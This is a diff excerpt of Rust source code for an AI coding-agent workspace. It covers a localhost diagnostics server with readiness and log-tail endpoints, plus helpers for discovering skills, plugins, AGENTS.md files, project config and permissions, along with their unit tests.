||||
tracing::warn!(
|
||||
path = %path.display(),
|
||||
error = %e,
|
||||
"failed to restrict diagnostics socket permissions"
|
||||
);
|
||||
}
|
||||
let task = tokio::spawn(async move {
|
||||
if let Err(e) = axum::serve(listener, router(ctx)).await {
|
||||
tracing::warn!(error = %e, "diagnostics server exited");
|
||||
}
|
||||
});
|
||||
Ok(BoundDiag {
|
||||
addr: format!("unix:{}", path.display()),
|
||||
port: None,
|
||||
task,
|
||||
})
|
||||
}
|
||||
DiagListener::Tcp(port) => {
|
||||
let listener = TcpListener::bind((Ipv4Addr::LOCALHOST, port))
|
||||
.await
|
||||
.map_err(|e| anyhow!("bind 127.0.0.1:{port}: {e}"))?;
|
||||
let local = listener.local_addr()?;
|
||||
let task = tokio::spawn(async move {
|
||||
if let Err(e) = axum::serve(listener, router(ctx)).await {
|
||||
tracing::warn!(error = %e, "diagnostics server exited");
|
||||
}
|
||||
});
|
||||
Ok(BoundDiag {
|
||||
addr: format!("http://{local}"),
|
||||
port: Some(local.port()),
|
||||
task,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// A successfully bound diagnostics server.
|
||||
#[derive(Debug)]
|
||||
pub struct BoundDiag {
|
||||
/// Human-readable bound address for the startup log line.
|
||||
pub addr: String,
|
||||
/// Bound TCP port (`None` for Unix sockets).
|
||||
pub port: Option<u16>,
|
||||
/// The serve task; held by the production launcher for the process lifetime.
|
||||
pub task: JoinHandle<()>,
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use serde_json::Value;
|
||||
|
||||
use super::*;
|
||||
|
||||
async fn get_json(port: u16, path: &str) -> (u16, Value) {
|
||||
let response = reqwest::get(format!("http://127.0.0.1:{port}{path}"))
|
||||
.await
|
||||
.expect("request");
|
||||
let status = response.status().as_u16();
|
||||
let body = response.text().await.expect("body");
|
||||
(status, serde_json::from_str(&body).expect("json body"))
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn ready_response_contract_is_frozen() {
|
||||
let handle = DiagHandle::new(Some("nonce-1".to_owned()));
|
||||
let bound = serve(DiagListener::Tcp(0), handle, None)
|
||||
.await
|
||||
.expect("bind");
|
||||
let (status, body) = get_json(bound.port.expect("tcp port"), "/ready").await;
|
||||
|
||||
assert_eq!(status, 503, "not yet connected must not probe as ready");
|
||||
let obj = body.as_object().expect("object");
|
||||
for key in [
|
||||
"launch_id",
|
||||
"state",
|
||||
"pid",
|
||||
"connected_at",
|
||||
"state_changed_at",
|
||||
"version",
|
||||
] {
|
||||
assert!(obj.contains_key(key), "missing frozen key {key}");
|
||||
}
|
||||
assert_eq!(body["launch_id"], "nonce-1");
|
||||
assert_eq!(body["state"], "starting");
|
||||
assert_eq!(body["connected_at"], Value::Null);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn state_follows_hub_lifecycle_and_freezes_connected_at() {
|
||||
let handle = DiagHandle::new(None);
|
||||
let bound = serve(DiagListener::Tcp(0), handle.clone(), None)
|
||||
.await
|
||||
.expect("bind");
|
||||
let port = bound.port.expect("tcp port");
|
||||
|
||||
handle.set_connected();
|
||||
let (status, connected) = get_json(port, "/ready").await;
|
||||
assert_eq!(status, 200);
|
||||
assert_eq!(connected["state"], "connected");
|
||||
assert!(connected["connected_at"].is_u64());
|
||||
assert_eq!(connected["launch_id"], Value::Null);
|
||||
|
||||
handle.set_disconnected();
|
||||
let (status, disconnected) = get_json(port, "/ready").await;
|
||||
assert_eq!(status, 503);
|
||||
assert_eq!(disconnected["state"], "disconnected");
|
||||
assert_eq!(
|
||||
disconnected["connected_at"], connected["connected_at"],
|
||||
"connected_at is frozen at first connect and echoed on disconnect"
|
||||
);
|
||||
|
||||
handle.set_connected();
|
||||
let (status, reconnected) = get_json(port, "/ready").await;
|
||||
assert_eq!(status, 200);
|
||||
assert_eq!(reconnected["state"], "connected");
|
||||
assert_eq!(
|
||||
reconnected["connected_at"], connected["connected_at"],
|
||||
"reconnect must not re-mint connected_at"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn shutting_down_latches_disconnected_across_reconnects() {
|
||||
let handle = DiagHandle::new(None);
|
||||
let bound = serve(DiagListener::Tcp(0), handle.clone(), None)
|
||||
.await
|
||||
.expect("bind");
|
||||
let port = bound.port.expect("tcp port");
|
||||
|
||||
handle.set_connected();
|
||||
handle.set_shutting_down();
|
||||
// A reconnect settling during the shutdown drain must not republish
|
||||
// `connected`.
|
||||
handle.set_connected();
|
||||
|
||||
let (status, body) = get_json(port, "/ready").await;
|
||||
assert_eq!(status, 503);
|
||||
assert_eq!(body["state"], "disconnected");
|
||||
assert!(handle.is_shutting_down());
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
#[tokio::test]
|
||||
async fn unix_socket_serves_ready_and_rebinds_over_stale_socket() {
|
||||
let dir = tempfile::tempdir().expect("tempdir");
|
||||
let sock = dir.path().join("ws.sock");
|
||||
|
||||
drop(std::os::unix::net::UnixListener::bind(&sock).expect("stale bind"));
|
||||
|
||||
let handle = DiagHandle::new(Some("nonce-uds".to_owned()));
|
||||
let _bound = serve(DiagListener::Unix(sock.clone()), handle.clone(), None)
|
||||
.await
|
||||
.expect("bind over stale socket");
|
||||
handle.set_connected();
|
||||
|
||||
use std::os::unix::fs::PermissionsExt as _;
|
||||
let mode = fs::metadata(&sock)
|
||||
.expect("socket meta")
|
||||
.permissions()
|
||||
.mode();
|
||||
assert_eq!(mode & 0o777, 0o600, "socket must be owner-only");
|
||||
|
||||
use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
|
||||
let mut stream = tokio::net::UnixStream::connect(&sock)
|
||||
.await
|
||||
.expect("connect");
|
||||
stream
|
||||
.write_all(b"GET /ready HTTP/1.1\r\nHost: ws\r\nConnection: close\r\n\r\n")
|
||||
.await
|
||||
.expect("write request");
|
||||
let mut response = Vec::new();
|
||||
stream
|
||||
.read_to_end(&mut response)
|
||||
.await
|
||||
.expect("read response");
|
||||
let response = String::from_utf8_lossy(&response);
|
||||
assert!(response.starts_with("HTTP/1.1 200"), "got: {response}");
|
||||
let body = response.split("\r\n\r\n").nth(1).expect("body");
|
||||
let json_start = body.find('{').expect("json start");
|
||||
let json_end = body.rfind('}').expect("json end");
|
||||
let parsed: Value = serde_json::from_str(&body[json_start..=json_end]).expect("json");
|
||||
assert_eq!(parsed["launch_id"], "nonce-uds");
|
||||
assert_eq!(parsed["state"], "connected");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn tcp_bind_conflict_surfaces_as_error() {
|
||||
let first = serve(DiagListener::Tcp(0), DiagHandle::new(None), None)
|
||||
.await
|
||||
.expect("first bind");
|
||||
let port = first.port.expect("tcp port");
|
||||
let err = serve(DiagListener::Tcp(port), DiagHandle::new(None), None).await;
|
||||
assert!(err.is_err(), "second bind on the same port must fail");
|
||||
}
|
||||
|
||||
async fn get_text(port: u16, path: &str) -> (u16, Option<String>, String) {
|
||||
let response = reqwest::get(format!("http://127.0.0.1:{port}{path}"))
|
||||
.await
|
||||
.expect("request");
|
||||
let status = response.status().as_u16();
|
||||
let content_type = response
|
||||
.headers()
|
||||
.get(reqwest::header::CONTENT_TYPE)
|
||||
.map(|v| v.to_str().expect("content-type").to_owned());
|
||||
(status, content_type, response.text().await.expect("body"))
|
||||
}
|
||||
|
||||
async fn serve_with_log(log_file: Option<PathBuf>) -> u16 {
|
||||
let bound = serve(DiagListener::Tcp(0), DiagHandle::new(None), log_file)
|
||||
.await
|
||||
.expect("bind");
|
||||
bound.port.expect("tcp port")
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn logs_tails_requested_bytes_as_plain_text() {
|
||||
let dir = tempfile::tempdir().expect("tempdir");
|
||||
let log = dir.path().join("ws.log");
|
||||
fs::write(&log, "0123456789").expect("write log");
|
||||
let port = serve_with_log(Some(log)).await;
|
||||
|
||||
let (status, content_type, body) = get_text(port, "/logs?tail_bytes=4").await;
|
||||
assert_eq!(status, 200);
|
||||
assert_eq!(content_type.as_deref(), Some("text/plain; charset=utf-8"));
|
||||
assert_eq!(body, "6789");
|
||||
|
||||
// A tail larger than the file returns the whole file.
|
||||
let (status, _, body) = get_text(port, "/logs?tail_bytes=1000").await;
|
||||
assert_eq!(status, 200);
|
||||
assert_eq!(body, "0123456789");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn logs_default_and_hard_cap_bound_the_response() {
|
||||
let dir = tempfile::tempdir().expect("tempdir");
|
||||
let log = dir.path().join("ws.log");
|
||||
// Larger than the hard cap; ends with a marker to prove we got the tail.
|
||||
let mut content = vec![b'a'; (MAX_LOG_TAIL_BYTES + 4096) as usize];
|
||||
content.extend_from_slice(b"END-MARKER");
|
||||
fs::write(&log, &content).expect("write log");
|
||||
let port = serve_with_log(Some(log)).await;
|
||||
|
||||
let (status, _, body) = get_text(port, "/logs").await;
|
||||
assert_eq!(status, 200);
|
||||
assert_eq!(body.len() as u64, DEFAULT_LOG_TAIL_BYTES);
|
||||
assert!(body.ends_with("END-MARKER"));
|
||||
|
||||
let (status, _, body) = get_text(port, "/logs?tail_bytes=999999999").await;
|
||||
assert_eq!(status, 200);
|
||||
assert_eq!(body.len() as u64, MAX_LOG_TAIL_BYTES, "hard cap applies");
|
||||
assert!(body.ends_with("END-MARKER"));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn logs_tail_is_lossy_utf8() {
|
||||
let dir = tempfile::tempdir().expect("tempdir");
|
||||
let log = dir.path().join("ws.log");
|
||||
// 'é' is 0xC3 0xA9; a 1-byte tail cuts the sequence mid-char.
|
||||
fs::write(&log, "aé").expect("write log");
|
||||
let port = serve_with_log(Some(log)).await;
|
||||
|
||||
let (status, _, body) = get_text(port, "/logs?tail_bytes=1").await;
|
||||
assert_eq!(status, 200);
|
||||
assert_eq!(body, "\u{FFFD}", "a torn UTF-8 boundary must be lossy");
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn logs_without_log_file_is_404() {
|
||||
let port = serve_with_log(None).await;
|
||||
let (status, _, _) = get_text(port, "/logs").await;
|
||||
assert_eq!(status, 404);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn logs_missing_log_file_is_404() {
|
||||
let dir = tempfile::tempdir().expect("tempdir");
|
||||
let port = serve_with_log(Some(dir.path().join("never-created.log"))).await;
|
||||
let (status, _, _) = get_text(port, "/logs").await;
|
||||
assert_eq!(status, 404);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,582 @@
|
||||
//! Skill, plugin, project-config, and permissions discovery.
|
||||
//!
|
||||
//! Phase 3a delegates to the existing discovery implementations in
|
||||
//! `kigi-agent` and `kigi-tools` rather than duplicating them.
|
||||
//! The workspace stores configuration on [`WorkspaceShared`] and the
|
||||
//! [`MpscChannel`] methods call these helpers to return real data
|
||||
//! instead of `Value::Null` stubs.
|
||||
//!
|
||||
//! Re-exports [`AgentsMdTracker`] from `kigi-tools` for external
|
||||
//! consumers that need per-session project-instruction tracking.
|
||||
|
||||
use std::path::Path;
|
||||
|
||||
use serde_json::Value;
|
||||
|
||||
// Re-export AgentsMdTracker so consumers can reference it via the
|
||||
// workspace crate without a direct kigi-tools dependency.
|
||||
pub use kigi_tools::types::agents_md_tracker::AgentsMdTracker;
|
||||
|
||||
// Re-export the config types that callers pass into WorkspaceConfig.
|
||||
pub use kigi_agent::plugins::discovery::DiscoveryConfig as PluginDiscoveryConfig;
|
||||
pub use kigi_agent::plugins::trust::TrustStore as PluginTrustStore;
|
||||
pub use kigi_agent::prompt::skills::SkillsConfig;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Skill discovery
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Discover skills visible from the workspace root.
|
||||
///
|
||||
/// Delegates to [`kigi_agent::prompt::skills::list_skills`] with
|
||||
/// the workspace's `root_cwd` and the caller-supplied `SkillsConfig`.
|
||||
/// Returns each [`SkillInfo`] serialized to a `serde_json::Value`.
|
||||
///
|
||||
/// The underlying `list_skills` implementation performs filesystem
|
||||
/// I/O (stat + read for each SKILL.md) and does not hold any async
|
||||
/// locks across `.await` points, so contention is not a concern.
|
||||
pub async fn discover_skills(root_cwd: &Path, config: &SkillsConfig) -> Vec<Value> {
|
||||
let cwd_str = root_cwd.to_string_lossy();
|
||||
// Workspace discovery is out of scope for per-vendor compat gating;
|
||||
// use the all-on default to preserve prior behavior.
|
||||
let skills = kigi_agent::prompt::skills::list_skills(
|
||||
Some(&cwd_str),
|
||||
config,
|
||||
kigi_agent::prompt::skills::CompatConfig::default(),
|
||||
)
|
||||
.await;
|
||||
|
||||
skills
|
||||
.into_iter()
|
||||
.filter_map(|s| match serde_json::to_value(&s) {
|
||||
Ok(v) => Some(v),
|
||||
Err(e) => {
|
||||
tracing::warn!(
|
||||
skill = %s.name,
|
||||
error = %e,
|
||||
"failed to serialize SkillInfo; dropping from response"
|
||||
);
|
||||
None
|
||||
}
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// AGENTS.md discovery
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Discover project-instruction files (AGENTS.md, Claude.md, rules) from the workspace root up to the git root.
|
||||
pub async fn discover_agents_md(root_cwd: &Path) -> Vec<Value> {
|
||||
let cwd_str = root_cwd.to_string_lossy();
|
||||
let files = kigi_agent::prompt::agents_md::read_agents_config_with_paths(
|
||||
&cwd_str,
|
||||
kigi_tools::types::compat::CompatConfig::default(),
|
||||
)
|
||||
.await;
|
||||
|
||||
files
|
||||
.into_iter()
|
||||
.map(|mut file| {
|
||||
// Strip rules-file YAML frontmatter so it does not leak as raw YAML (matches grok-build render).
|
||||
if file.file_path.contains("/.kigi/rules/")
|
||||
|| file.file_path.contains("/.claude/rules/")
|
||||
{
|
||||
file.content =
|
||||
kigi_tools::implementations::skills::skill::extract_skill_body(&file.content);
|
||||
}
|
||||
file
|
||||
})
|
||||
.filter_map(|file| match serde_json::to_value(&file) {
|
||||
Ok(v) => Some(v),
|
||||
Err(e) => {
|
||||
tracing::warn!(
|
||||
file = %file.file_path,
|
||||
error = %e,
|
||||
"failed to serialize AgentConfigFile; dropping from response"
|
||||
);
|
||||
None
|
||||
}
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Plugin discovery
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Discover plugins visible from the workspace root.
|
||||
///
|
||||
/// Delegates to [`kigi_agent::plugins::discover_plugins`] with
|
||||
/// the workspace's `root_cwd` and the caller-supplied
|
||||
/// [`PluginDiscoveryConfig`] and [`PluginTrustStore`].
|
||||
///
|
||||
/// Since [`DiscoveredPlugin`] does not derive `Serialize`, each
|
||||
/// plugin is converted to a JSON object with the essential fields
|
||||
/// that downstream consumers need (name, scope, root, trusted,
|
||||
/// has_skills, has_hooks, has_mcp).
|
||||
///
|
||||
/// `project_trusted` is the folder-trust verdict for `root_cwd`, threaded into
|
||||
/// discovery to gate Project-scope plugins.
|
||||
pub fn discover_plugins(
|
||||
root_cwd: &Path,
|
||||
config: &PluginDiscoveryConfig,
|
||||
trust_store: &PluginTrustStore,
|
||||
project_trusted: bool,
|
||||
) -> Vec<Value> {
|
||||
let discovered =
|
||||
kigi_agent::plugins::discover_plugins(Some(root_cwd), config, trust_store, project_trusted);
|
||||
|
||||
discovered
|
||||
.into_iter()
|
||||
.map(|dp| {
|
||||
serde_json::json!({
|
||||
"name": dp.manifest.name,
|
||||
"id": dp.id.0,
|
||||
"root": dp.root.to_string_lossy(),
|
||||
"scope": dp.scope.to_string(),
|
||||
"trusted": dp.trusted,
|
||||
"version": dp.manifest.version,
|
||||
"description": dp.manifest.description,
|
||||
"has_skills": !dp.skill_dirs.is_empty(),
|
||||
"has_agents": !dp.agent_dirs.is_empty(),
|
||||
"has_hooks": dp.hooks_path.is_some(),
|
||||
"has_mcp": dp.mcp_config_path.is_some(),
|
||||
"has_lsp": dp.lsp_config_path.is_some(),
|
||||
"conflict": dp.conflict,
|
||||
})
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Project config
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Load the project config from `<root_cwd>/.kigi/config.toml`.
|
||||
///
|
||||
/// Returns `Value::Null` if the file does not exist or cannot be
|
||||
/// parsed. Non-fatal errors are logged.
|
||||
pub fn load_project_config(root_cwd: &Path) -> Value {
|
||||
let config_path = root_cwd.join(".kigi").join("config.toml");
|
||||
match kigi_config::load_config_file(&config_path) {
|
||||
Ok(toml::Value::Table(ref t)) if t.is_empty() => {
|
||||
// The config loader returns an empty table when the file
|
||||
// does not exist. Normalize to Null for callers.
|
||||
Value::Null
|
||||
}
|
||||
Ok(toml_val) => toml_to_json(&toml_val),
|
||||
Err(e) => {
|
||||
tracing::warn!(
|
||||
path = %config_path.display(),
|
||||
error = %e,
|
||||
"failed to load project config"
|
||||
);
|
||||
Value::Null
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Convert a `toml::Value` to a `serde_json::Value`.
|
||||
///
|
||||
/// TOML's type system is close to JSON's. The main difference is
|
||||
/// TOML's `Datetime` type which maps to a JSON string.
|
||||
fn toml_to_json(v: &toml::Value) -> Value {
|
||||
match v {
|
||||
toml::Value::String(s) => Value::String(s.clone()),
|
||||
toml::Value::Integer(i) => serde_json::json!(i),
|
||||
toml::Value::Float(f) => serde_json::json!(f),
|
||||
toml::Value::Boolean(b) => Value::Bool(*b),
|
||||
toml::Value::Datetime(dt) => Value::String(dt.to_string()),
|
||||
toml::Value::Array(arr) => Value::Array(arr.iter().map(toml_to_json).collect()),
|
||||
toml::Value::Table(table) => {
|
||||
let map: serde_json::Map<String, Value> = table
|
||||
.iter()
|
||||
.map(|(k, v)| (k.clone(), toml_to_json(v)))
|
||||
.collect();
|
||||
Value::Object(map)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Permissions
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Load the effective permission configuration for the workspace.
|
||||
///
|
||||
/// Delegates to
|
||||
/// [`resolution::resolve_permissions_with_provenance`] which
|
||||
/// merges rules from requirements.toml, managed-settings.json,
|
||||
/// managed_config.toml, config.toml, and `.claude/settings.json`.
|
||||
///
|
||||
/// Returns a JSON object with `sources`, `loaded` (rule count), and
|
||||
/// `skipped` (unrecognized rules). Returns `Value::Null` if no
|
||||
/// permission sources are configured.
|
||||
pub async fn load_permissions(root_cwd: &Path) -> Value {
|
||||
use crate::permission::resolution;
|
||||
|
||||
let Some(resolved) = resolution::resolve_permissions_with_provenance(root_cwd).await else {
|
||||
return Value::Null;
|
||||
};
|
||||
|
||||
let mut sources: Vec<String> = Vec::new();
|
||||
for s in resolved.sources.iter().map(|s| s.to_string()) {
|
||||
if !sources.contains(&s) {
|
||||
sources.push(s);
|
||||
}
|
||||
}
|
||||
|
||||
let skipped: Vec<Value> = resolved
|
||||
.skipped
|
||||
.iter()
|
||||
.map(|s| {
|
||||
serde_json::json!({
|
||||
"rule": s.rule,
|
||||
"reason": s.reason,
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
serde_json::json!({
|
||||
"sources": sources,
|
||||
"loaded": resolved.config.rules.len(),
|
||||
"skipped": skipped,
|
||||
})
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use std::fs;
|
||||
|
||||
// ---- Skill discovery tests ----
|
||||
|
||||
// Note: `list_skills` also discovers user-scoped skills from
|
||||
// `~/.kigi/skills/`, so on a developer machine the result may be
|
||||
// non-empty even for an empty workspace. Tests below check for
|
||||
// specific skills rather than asserting emptiness.
|
||||
|
||||
#[tokio::test]
|
||||
async fn discover_skills_finds_skill_md() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let skills_dir = tmp.path().join(".kigi").join("skills").join("my-skill");
|
||||
fs::create_dir_all(&skills_dir).unwrap();
|
||||
fs::write(
|
||||
skills_dir.join("SKILL.md"),
|
||||
"---\nname: my-skill\ndescription: A test skill\n---\n# Body\n",
|
||||
)
|
||||
.unwrap();
|
||||
|
||||
let skills = discover_skills(tmp.path(), &SkillsConfig::default()).await;
|
||||
let found = skills
|
||||
.iter()
|
||||
.find(|s| s["name"].as_str() == Some("my-skill"));
|
||||
assert!(found.is_some(), "should find my-skill");
|
||||
let skill = found.unwrap();
|
||||
assert_eq!(skill["description"].as_str(), Some("A test skill"));
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn discover_skills_respects_ignore_config() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let skills_dir = tmp.path().join(".kigi").join("skills").join("ignored");
|
||||
fs::create_dir_all(&skills_dir).unwrap();
|
||||
fs::write(
|
||||
skills_dir.join("SKILL.md"),
|
||||
"---\nname: ignored\ndescription: Ignored\n---\n",
|
||||
)
|
||||
.unwrap();
|
||||
|
||||
let config = SkillsConfig {
|
||||
paths: vec![],
|
||||
ignore: vec![tmp.path().to_string_lossy().to_string()],
|
||||
disabled: vec![],
|
||||
server_skill_dirs: vec![],
|
||||
bundled_skill_dirs: vec![],
|
||||
};
|
||||
let skills = discover_skills(tmp.path(), &config).await;
|
||||
let found = skills.iter().any(|s| s["name"].as_str() == Some("ignored"));
|
||||
assert!(
|
||||
!found,
|
||||
"skill in ignore path should be filtered out of results"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn discover_skills_returns_serialized_values() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let skills_dir = tmp
|
||||
.path()
|
||||
.join(".kigi")
|
||||
.join("skills")
|
||||
.join("serialized-check");
|
||||
fs::create_dir_all(&skills_dir).unwrap();
|
||||
fs::write(
|
||||
skills_dir.join("SKILL.md"),
|
||||
"---\nname: serialized-check\ndescription: Test serialization\n---\n",
|
||||
)
|
||||
.unwrap();
|
||||
|
||||
let skills = discover_skills(tmp.path(), &SkillsConfig::default()).await;
|
||||
let found = skills
|
||||
.iter()
|
||||
.find(|s| s["name"].as_str() == Some("serialized-check"))
|
||||
.expect("should find serialized-check");
|
||||
// SkillInfo has these required fields when serialized
|
||||
assert!(found["path"].is_string(), "path should be a string");
|
||||
assert!(found["scope"].is_string(), "scope should be serialized");
|
||||
}
|
||||
|
||||
// ---- AGENTS.md discovery tests ----
|
||||
|
||||
#[test]
|
||||
fn agent_config_file_wire_matches_workspace_types_mirror() {
|
||||
// The RPC serializes grok-build's AgentConfigFile and the remote
|
||||
// consumer deserializes the workspace-types mirror; pin the cross-crate
|
||||
// serde shape so a rename/attr drift on either side can't silently
|
||||
// break discovery.
|
||||
let src = kigi_agent::prompt::agents_md::AgentConfigFile {
|
||||
file_name: "AGENTS.md".to_string(),
|
||||
file_path: "/repo/AGENTS.md".to_string(),
|
||||
content: "# Instructions\n".to_string(),
|
||||
};
|
||||
let json = serde_json::to_value(&src).unwrap();
|
||||
let mirror: kigi_workspace_types::rpc::agents_md::AgentConfigFile =
|
||||
serde_json::from_value(json.clone())
|
||||
.expect("server shape must deserialize into mirror");
|
||||
assert_eq!(mirror.file_name, src.file_name);
|
||||
assert_eq!(mirror.file_path, src.file_path);
|
||||
assert_eq!(mirror.content, src.content);
|
||||
assert_eq!(
|
||||
serde_json::to_value(&mirror).unwrap(),
|
||||
json,
|
||||
"mirror must serialize to the exact shape the server emits"
|
||||
);
|
||||
}
|
||||
|
||||
// Discovery also scans the real `~/.kigi`, so fixtures use test-unique names.
|
||||
#[tokio::test]
|
||||
async fn discover_agents_md_strips_rules_frontmatter() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let rules_dir = tmp.path().join(".kigi").join("rules");
|
||||
fs::create_dir_all(&rules_dir).unwrap();
|
||||
fs::write(
|
||||
rules_dir.join("xyzzy-discover-agents-md-test.md"),
|
||||
"---\nglobs: [\"*.rs\"]\n---\nUse tabs, not spaces.\n",
|
||||
)
|
||||
.unwrap();
|
||||
|
||||
let files = discover_agents_md(tmp.path()).await;
|
||||
let rule = files
|
||||
.iter()
|
||||
.find(|f| {
|
||||
f["file_path"]
|
||||
.as_str()
|
||||
.is_some_and(|p| p.ends_with("/.kigi/rules/xyzzy-discover-agents-md-test.md"))
|
||||
})
|
||||
.expect("should discover the rules file");
|
||||
let content = rule["content"].as_str().unwrap();
|
||||
assert!(
|
||||
content.contains("Use tabs, not spaces."),
|
||||
"rule body must survive: {content}"
|
||||
);
|
||||
assert!(
|
||||
!content.contains("globs:"),
|
||||
"YAML frontmatter must be stripped: {content}"
|
||||
);
|
||||
}
|
||||
|
||||
#[tokio::test]
|
||||
async fn discover_agents_md_keeps_non_rules_frontmatter() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
fs::write(
|
||||
tmp.path().join("AGENTS.md"),
|
||||
"---\nXYZZY_LEADING_DASHES_MARKER\n---\nBody after horizontal rules.\n",
|
||||
)
|
||||
.unwrap();
|
||||
|
||||
let files = discover_agents_md(tmp.path()).await;
|
||||
let agents = files
|
||||
.iter()
|
||||
.find(|f| {
|
||||
f["content"]
|
||||
.as_str()
|
||||
.is_some_and(|c| c.contains("XYZZY_LEADING_DASHES_MARKER"))
|
||||
})
|
||||
.expect("should discover the AGENTS.md with its leading dashes intact");
|
||||
let content = agents["content"].as_str().unwrap();
|
||||
assert!(
|
||||
content.starts_with("---\n"),
|
||||
"stripping must be rules-files-only: {content}"
|
||||
);
|
||||
}
|
||||
|
||||
// ---- Plugin discovery tests ----
|
||||
|
||||
// Note: `discover_plugins` also discovers user-scoped plugins
|
||||
// from `~/.kigi/plugins/`, so tests check for specific plugins.
|
||||
|
||||
#[test]
|
||||
fn discover_plugins_finds_manifest_plugin() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let plugins_dir = tmp.path().join(".kigi").join("plugins").join("test-plugin");
|
||||
fs::create_dir_all(&plugins_dir).unwrap();
|
||||
fs::write(
|
||||
plugins_dir.join("plugin.json"),
|
||||
r#"{"name": "test-plugin"}"#,
|
||||
)
|
||||
.unwrap();
|
||||
// Plugin needs at least one component to be recognized
|
||||
fs::create_dir_all(plugins_dir.join("skills")).unwrap();
|
||||
|
||||
let trust = PluginTrustStore::load_from(tmp.path().join("trust"));
|
||||
let config = PluginDiscoveryConfig::default();
|
||||
let plugins = discover_plugins(tmp.path(), &config, &trust, true);
|
||||
let found = plugins
|
||||
.iter()
|
||||
.find(|p| p["name"].as_str() == Some("test-plugin"));
|
||||
assert!(found.is_some(), "should find test-plugin");
|
||||
let p = found.unwrap();
|
||||
assert_eq!(p["scope"].as_str(), Some("project"));
|
||||
assert_eq!(p["has_skills"].as_bool(), Some(true));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn discover_plugins_json_has_expected_fields() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let plugins_dir = tmp.path().join(".kigi").join("plugins").join("field-test");
|
||||
fs::create_dir_all(plugins_dir.join("skills")).unwrap();
|
||||
fs::write(
|
||||
plugins_dir.join("plugin.json"),
|
||||
r#"{"name": "field-test", "version": "1.0.0", "description": "Test plugin"}"#,
|
||||
)
|
||||
.unwrap();
|
||||
|
||||
let trust = PluginTrustStore::load_from(tmp.path().join("trust"));
|
||||
let config = PluginDiscoveryConfig::default();
|
||||
let plugins = discover_plugins(tmp.path(), &config, &trust, true);
|
||||
let p = plugins
|
||||
.iter()
|
||||
.find(|p| p["name"].as_str() == Some("field-test"))
|
||||
.expect("should find field-test");
|
||||
assert_eq!(p["version"].as_str(), Some("1.0.0"));
|
||||
assert_eq!(p["description"].as_str(), Some("Test plugin"));
|
||||
assert!(p["id"].is_string());
|
||||
assert!(p["root"].is_string());
|
||||
assert!(p["trusted"].is_boolean());
|
||||
assert!(p["has_hooks"].is_boolean());
|
||||
assert!(p["has_mcp"].is_boolean());
|
||||
assert!(p["has_lsp"].is_boolean());
|
||||
assert!(p["has_agents"].is_boolean());
|
||||
assert!(p["has_skills"].is_boolean());
|
||||
}
|
||||
|
||||
// ---- Project config tests ----
|
||||
|
||||
#[test]
|
||||
fn load_project_config_missing_file_returns_null() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let config = load_project_config(tmp.path());
|
||||
assert_eq!(config, Value::Null, "missing config → Null");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn load_project_config_reads_toml_as_json() {
|
||||
let tmp = tempfile::tempdir().unwrap();
|
||||
let grok_dir = tmp.path().join(".kigi");
|
||||
fs::create_dir_all(&grok_dir).unwrap();
|
||||
fs::write(
|
||||
grok_dir.join("config.toml"),
|
||||
"[skills]\npaths = [\"/extra/skills\"]\n\n[plugins]\ndisabled = [\"noisy-plugin\"]\n",
|
||||
)
|
||||
.unwrap();
|
||||
|
||||
let config = load_project_config(tmp.path());
|
||||
assert!(config.is_object(), "parsed config should be an object");
|
||||
assert!(
|
||||
config["skills"]["paths"].is_array(),
|
||||
"skills.paths should be an array"
|
||||
);
|
||||
assert_eq!(config["skills"]["paths"][0].as_str(), Some("/extra/skills"));
|
||||
assert_eq!(
|
||||
config["plugins"]["disabled"][0].as_str(),
|
||||
Some("noisy-plugin")
|
||||
);
|
||||
}
|
||||
|
||||
// ---- toml_to_json tests ----
|
||||
|
||||
#[test]
|
||||
fn toml_to_json_basic_types() {
|
||||
let toml_val: toml::Value =
|
||||
toml::from_str("s = \"hello\"\ni = 42\nf = 3.14\nb = true\n").unwrap();
|
||||
let json = toml_to_json(&toml_val);
|
||||
assert_eq!(json["s"], "hello");
|
||||
assert_eq!(json["i"], 42);
|
||||
